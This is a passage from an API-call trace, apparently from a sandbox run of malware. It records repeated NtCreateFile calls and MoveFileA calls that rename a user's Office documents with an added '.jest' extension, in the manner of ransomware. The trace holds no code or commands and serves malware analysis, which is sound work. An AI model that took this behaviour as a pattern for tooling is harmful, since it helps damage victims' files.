FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.457] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.458] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.458] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.461] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.461] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.462] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.462] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.462] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.463] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.463] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.464] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.464] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.464] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.465] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.465] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.466] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.469] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.469] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.470] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.470] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.471] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.471] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.472] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.472] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.473] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.474] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.474] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.475] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.476] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.476] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.477] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.477] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.478] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.478] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.479] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.480] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.481] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛯ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.482] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛳ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.484] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚡ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.485] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.487] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.488] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\w60QTTQttNudfP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\w60qttqttnudfp.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\w60QTTQttNudfP.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\w60qttqttnudfp.xlsx.jest")) returned 1 [0172.491] VarBstrFromR4 (in: fltIn=0x47945b05, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.04") returned 0x0 [0172.493] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\w60QTTQttNudfP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\w60qttqttnudfp.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B5DpmO4qrYG1ylFf-zT7D-ngOZJFev2yUqI6H39u_LWP_bGXovFh UziDbHrRj0kAfF1R63FmW-gklFm3YTkCXkhYtu6mMN4fdH-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b5dpmo4qryg1ylff-zt7d-ngozjfev2yuqi6h39u_lwp_bgxovfh uzidbhrrj0kaff1r63fmw-gklfm3ytkcxkhytu6mmn4fdh-.tmp")) returned 0 [0172.493] GetLastError () returned 0x2 [0172.493] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.508] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\Yb_3mjESHDyhRRzTB.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\yb_3mjeshdyhrrztb.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\Yb_3mjESHDyhRRzTB.pps.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\yb_3mjeshdyhrrztb.pps.jest")) returned 1 [0172.510] VarBstrFromR4 (in: fltIn=0x47945b07, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.05") returned 0x0 [0172.512] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\Yb_3mjESHDyhRRzTB.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\yb_3mjeshdyhrrztb.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7I9Rvh2LirM37uN1nAqfCFBr27MVUNSzQ1ff4sRmgFvhMYu dbuZzRODZPF82B_mcSic_FsKl5B QPJ_serHIdl5G0-RSrveu8xu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7i9rvh2lirm37un1naqfcfbr27mvunszq1ff4srmgfvhmyu dbuzzrodzpf82b_mcsic_fskl5b qpj_serhidl5g0-rsrveu8xu.tmp")) returned 0 [0172.512] GetLastError () returned 0x2 [0172.512] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.514] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_c yd.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_c yd.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_c yd.pptx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_c yd.pptx.jest")) returned 1 [0172.515] VarBstrFromR4 (in: fltIn=0x47945b09, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.07") returned 0x0 [0172.517] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_c yd.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_c yd.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtJOy E-ejbYb fOm7k9uujx5tl gGpkhSG3X5-BKY4peBQV59oHkqLXTje2PFttEnjXJbrM8_jZ4OedczNYlfTVok3OLedF2q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptjoy e-ejbyb fom7k9uujx5tl ggpkhsg3x5-bky4pebqv59ohkqlxtje2pfttenjxjbrm8_jz4oedcznylftvok3oledf2q.tmp")) returned 0 [0172.517] GetLastError () returned 0x2 [0172.527] 